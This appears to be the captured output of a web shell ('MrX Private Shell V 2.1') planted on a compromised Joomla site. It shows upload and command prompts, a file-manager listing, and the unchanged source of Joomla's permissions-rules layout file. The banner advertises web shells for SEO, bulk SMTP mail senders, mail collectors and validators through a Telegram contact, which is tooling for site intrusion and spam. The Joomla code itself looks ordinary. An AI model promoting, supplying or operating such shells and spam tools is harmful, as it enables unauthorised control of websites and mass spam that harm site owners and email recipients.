__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * @package     Joomla.Site
 * @subpackage  Layout
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Access\Access;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;

extract($displayData);

// Get some system objects.
$document = Factory::getDocument();

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete    Autocomplete attribute for the field.
 * @var   boolean  $autofocus       Is autofocus enabled?
 * @var   string   $class           Classes for the input.
 * @var   string   $description     Description of the field.
 * @var   boolean  $disabled        Is this field disabled?
 * @var   string   $group           Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden          Is this field hidden in the form?
 * @var   string   $hint            Placeholder for the field.
 * @var   string   $id              DOM id of the field.
 * @var   string   $label           Label of the field.
 * @var   string   $labelclass      Classes to apply to the label.
 * @var   boolean  $multiple        Does this field support multiple values?
 * @var   string   $name            Name of the input field.
 * @var   array    $options         Options available for this field.
 * @var   array    $groups          Available user groups.
 * @var   array    $actions         Actions for the asset.
 * @var   integer  $assetId         Access parameters.
 * @var   string   $component       The component.
 * @var   string   $section         The section.
 * @var   boolean  $isGlobalConfig  Current view is global config?
 * @var   boolean  $newItem         The new item.
 * @var   object   $assetRules      Rules for asset.
 * @var   integer  $parentAssetId   To calculate permissions.
 * @var   string   $dataAttribute   Miscellaneous data attributes preprocessed for HTML output
 * @var   array    $dataAttributes  Miscellaneous data attributes for eg, data-*.
 */

// Add Javascript for permission change
HTMLHelper::_('form.csrf');
Factory::getDocument()->getWebAssetManager()
    ->useStyle('webcomponent.field-permissions')
    ->useScript('webcomponent.field-permissions')
    ->useStyle('webcomponent.joomla-tab')
    ->useScript('webcomponent.joomla-tab');

// Load JavaScript message titles
Text::script('ERROR');
Text::script('WARNING');
Text::script('NOTICE');
Text::script('MESSAGE');

// Add strings for JavaScript error translations.
Text::script('JLIB_JS_AJAX_ERROR_CONNECTION_ABORT');
Text::script('JLIB_JS_AJAX_ERROR_NO_CONTENT');
Text::script('JLIB_JS_AJAX_ERROR_OTHER');
Text::script('JLIB_JS_AJAX_ERROR_PARSE');
Text::script('JLIB_JS_AJAX_ERROR_TIMEOUT');

// Ajax request data.
$ajaxUri = Route::_('index.php?option=com_config&task=application.store&format=json&' . Session::getFormToken() . '=1');
?>

<?php // Description ?>
<details>
    <summary class="rule-notes">
        <?php echo Text::_('JLIB_RULES_SETTINGS_DESC'); ?>
    </summary>
    <div class="rule-notes">
    <?php
    if ($section === 'component' || !$section) {
        echo Text::alt('JLIB_RULES_SETTING_NOTES', $component);
    } else {
        echo Text::alt('JLIB_RULES_SETTING_NOTES_ITEM', $component . '_' . $section);
    }
    ?>
    </div>
</details>
<?php // Begin tabs ?>
<joomla-field-permissions class="row mb-2" data-uri="<?php echo $ajaxUri; ?>" <?php echo $dataAttribute; ?>>
    <joomla-tab orientation="vertical" id="permissions-sliders" recall breakpoint="728">
        <?php // Initial Active Pane ?>
        <?php foreach ($groups as $group) : ?>
            <?php $active = (int) $group->value === 1 ? ' active' : ''; ?>
            <joomla-tab-element class="tab-pane" <?php echo $active; ?> name="<?php echo htmlentities(LayoutHelper::render('joomla.html.treeprefix', ['level' => $group->level + 1]), ENT_COMPAT, 'utf-8') . $group->text; ?>" id="permission-<?php echo $group->value; ?>">
                <table class="table respTable">
                    <thead>
                        <tr>
                            <th class="actions w-30" id="actions-th<?php echo $group->value; ?>">
                                <span class="acl-action"><?php echo Text::_('JLIB_RULES_ACTION'); ?></span>
                            </th>

                            <th class="settings w-40" id="settings-th<?php echo $group->value; ?>">
                                <span class="acl-action"><?php echo Text::_('JLIB_RULES_SELECT_SETTING'); ?></span>
                            </th>

                            <th class="w-30" id="aclaction-th<?php echo $group->value; ?>">
                                <span class="acl-action"><?php echo Text::_('JLIB_RULES_CALCULATED_SETTING'); ?></span>
                            </th>
                        </tr>
                    </thead>
                    <tbody>

                        <?php // Check if this group has super user permissions ?>
                        <?php $isSuperUserGroup = Access::checkGroup($group->value, 'core.admin'); ?>
                        <?php foreach ($actions as $action) : ?>
                            <tr>
                                <td class="oddCol" data-label="<?php echo Text::_('JLIB_RULES_ACTION'); ?>" headers="actions-th<?php echo $group->value; ?>">
                                    <label for="<?php echo $id; ?>_<?php echo $action->name; ?>_<?php echo $group->value; ?>">
                                        <?php echo Text::_($action->title); ?>
                                    </label>
                                    <?php if (!empty($action->description)) : ?>
                                        <div role="tooltip" id="tip-<?php echo $id; ?>">
                                            <?php echo htmlspecialchars(Text::_($action->description)); ?>
                                        </div>
                                    <?php endif; ?>
                                </td>
                                <td data-label="<?php echo Text::_('JLIB_RULES_SELECT_SETTING'); ?>" headers="settings-th<?php echo $group->value; ?>">
                                    <div class="d-flex align-items-center">
                                        <select data-onchange-task="permissions.apply"
                                                class="form-select novalidate"
                                                name="<?php echo $name; ?>[<?php echo $action->name; ?>][<?php echo $group->value; ?>]"
                                                id="<?php echo $id; ?>_<?php echo $action->name; ?>_<?php echo $group->value; ?>" >
                                            <?php
                                            /**
                                             * Possible values:
                                             * null = not set means inherited
                                             * false = denied
                                             * true = allowed
                                             */

                                            // Get the actual setting for the action for this group. ?>
                                            <?php $assetRule = $newItem === false ? $assetRules->allow($action->name, $group->value) : null;?>

                                            <?php // Build the dropdowns for the permissions sliders
                                                // The parent group has "Not Set", all children can rightly "Inherit" from that.?>
                                            <option value="" <?php echo ($assetRule === null ? ' selected="selected"' : ''); ?>>
                                            <?php echo Text::_(empty($group->parent_id) && $isGlobalConfig ? 'JLIB_RULES_NOT_SET' : 'JLIB_RULES_INHERITED'); ?></option>
                                            <option value="1" <?php echo ($assetRule === true ? ' selected="selected"' : ''); ?>>
                                            <?php echo Text::_('JLIB_RULES_ALLOWED'); ?></option>
                                            <option value="0" <?php echo ($assetRule === false ? ' selected="selected"' : ''); ?>>
                                            <?php echo Text::_('JLIB_RULES_DENIED'); ?></option>

                                        </select>&#160;
                                        <span id="icon_<?php echo $id; ?>_<?php echo $action->name; ?>_<?php echo $group->value; ?>"></span>
                                    </div>
                                </td>

                                <td data-label="<?php echo Text::_('JLIB_RULES_CALCULATED_SETTING'); ?>" headers="aclaction-th<?php echo $group->value; ?>">
                                    <?php $result = []; ?>
                                    <?php // Get the group, group parent id, and group global config recursive calculated permission for the chosen action. ?>
                                    <?php $inheritedGroupRule   = Access::checkGroup((int) $group->value, $action->name, $assetId);
                                    $inheritedGroupParentAssetRule = !empty($parentAssetId) ? Access::checkGroup($group->value, $action->name, $parentAssetId) : null;
                                    $inheritedParentGroupRule      = !empty($group->parent_id) ? Access::checkGroup($group->parent_id, $action->name, $assetId) : null;

                                    // Current group is a Super User group, so calculated setting is "Allowed (Super User)".
                                    if ($isSuperUserGroup) {
                                        $result['class'] = 'badge bg-success';
                                        $result['text']  = '<span class="icon-lock icon-white" aria-hidden="true"></span>' . Text::_('JLIB_RULES_ALLOWED_ADMIN');
                                    } else {
                                        // First get the real recursive calculated setting and add (Inherited) to it.

                                        // If recursive calculated setting is "Denied" or null. Calculated permission is "Not Allowed (Inherited)".
                                        if ($inheritedGroupRule === null || $inheritedGroupRule === false) {
                                            $result['class'] = 'badge bg-danger';
                                            $result['text']  = Text::_('JLIB_RULES_NOT_ALLOWED_INHERITED');
                                        } else {
                                            // If recursive calculated setting is "Allowed". Calculated permission is "Allowed (Inherited)".
                                            $result['class'] = 'badge bg-success';
                                            $result['text']  = Text::_('JLIB_RULES_ALLOWED_INHERITED');
                                        }

                                        // Second part: Overwrite the calculated permissions labels if there is an explicit permission in the current group.

                                        /**
                                        * @todo: incorrect info
                                        * If a component has a permission that doesn't exists in global config (ex: frontend editing in com_modules) by default
                                        * we get "Not Allowed (Inherited)" when we should get "Not Allowed (Default)".
                                        */

                                        // If there is an explicit permission "Not Allowed". Calculated permission is "Not Allowed".
                                        if ($assetRule === false) {
                                            $result['class'] = 'badge bg-danger';
                                            $result['text']  =  Text::_('JLIB_RULES_NOT_ALLOWED');
                                        } elseif ($assetRule === true) {
                                            // If there is an explicit permission is "Allowed". Calculated permission is "Allowed".
                                            $result['class'] = 'badge bg-success';
                                            $result['text']  = Text::_('JLIB_RULES_ALLOWED');
                                        }

                                        // Third part: Overwrite the calculated permissions labels for special cases.

                                        // Global configuration with "Not Set" permission. Calculated permission is "Not Allowed (Default)".
                                        if (empty($group->parent_id) && $isGlobalConfig === true && $assetRule === null) {
                                            $result['class'] = 'badge bg-danger';
                                            $result['text']  = Text::_('JLIB_RULES_NOT_ALLOWED_DEFAULT');
                                        } elseif ($inheritedGroupParentAssetRule === false || $inheritedParentGroupRule === false) {
                                            /**
                                             * Component/Item with explicit "Denied" permission at parent Asset (Category, Component or Global config) configuration.
                                             * Or some parent group has an explicit "Denied".
                                             * Calculated permission is "Not Allowed (Locked)".
                                             */
                                            $result['class'] = 'badge bg-danger';
                                            $result['text']  = '<span class="icon-lock icon-white" aria-hidden="true"></span>' . Text::_('JLIB_RULES_NOT_ALLOWED_LOCKED');
                                        }
                                    }
                                    ?>
                                    <output><span class="<?php echo $result['class']; ?>"><?php echo $result['text']; ?></span></output>
                                </td>
                            </tr>
                        <?php endforeach; ?>
                    </tbody>
                </table>
            </joomla-tab-element>
        <?php endforeach; ?>
    </joomla-tab>
</joomla-field-permissions>

Filemanager

Name Type Size Permission Actions
color Folder 0775
media Folder 0775
radio Folder 0775
subform Folder 0775
calendar.php File 7.61 KB 0664
checkbox.php File 3.22 KB 0664
checkboxes.php File 4.18 KB 0664
combo.php File 3.02 KB 0664
contenthistory.php File 3.11 KB 0664
email.php File 3.38 KB 0664
file.php File 3.2 KB 0664
groupedlist-fancy-select.php File 4.41 KB 0664
groupedlist.php File 3.89 KB 0664
hidden.php File 2.69 KB 0664
list-fancy-select.php File 4.01 KB 0664
list.php File 3.89 KB 0664
media.php File 7.75 KB 0664
meter.php File 3.37 KB 0664
moduleorder.php File 3.5 KB 0664
number.php File 3.33 KB 0664
password.php File 6.06 KB 0664
radiobasic.php File 4.07 KB 0664
range.php File 3.11 KB 0664
rules.php File 14.08 KB 0664
tag.php File 4.78 KB 0664
tel.php File 3.39 KB 0664
text.php File 5.41 KB 0664
textarea.php File 3.88 KB 0664
time.php File 2.98 KB 0664
url.php File 3.5 KB 0664
user.php File 5.22 KB 0664
Filemanager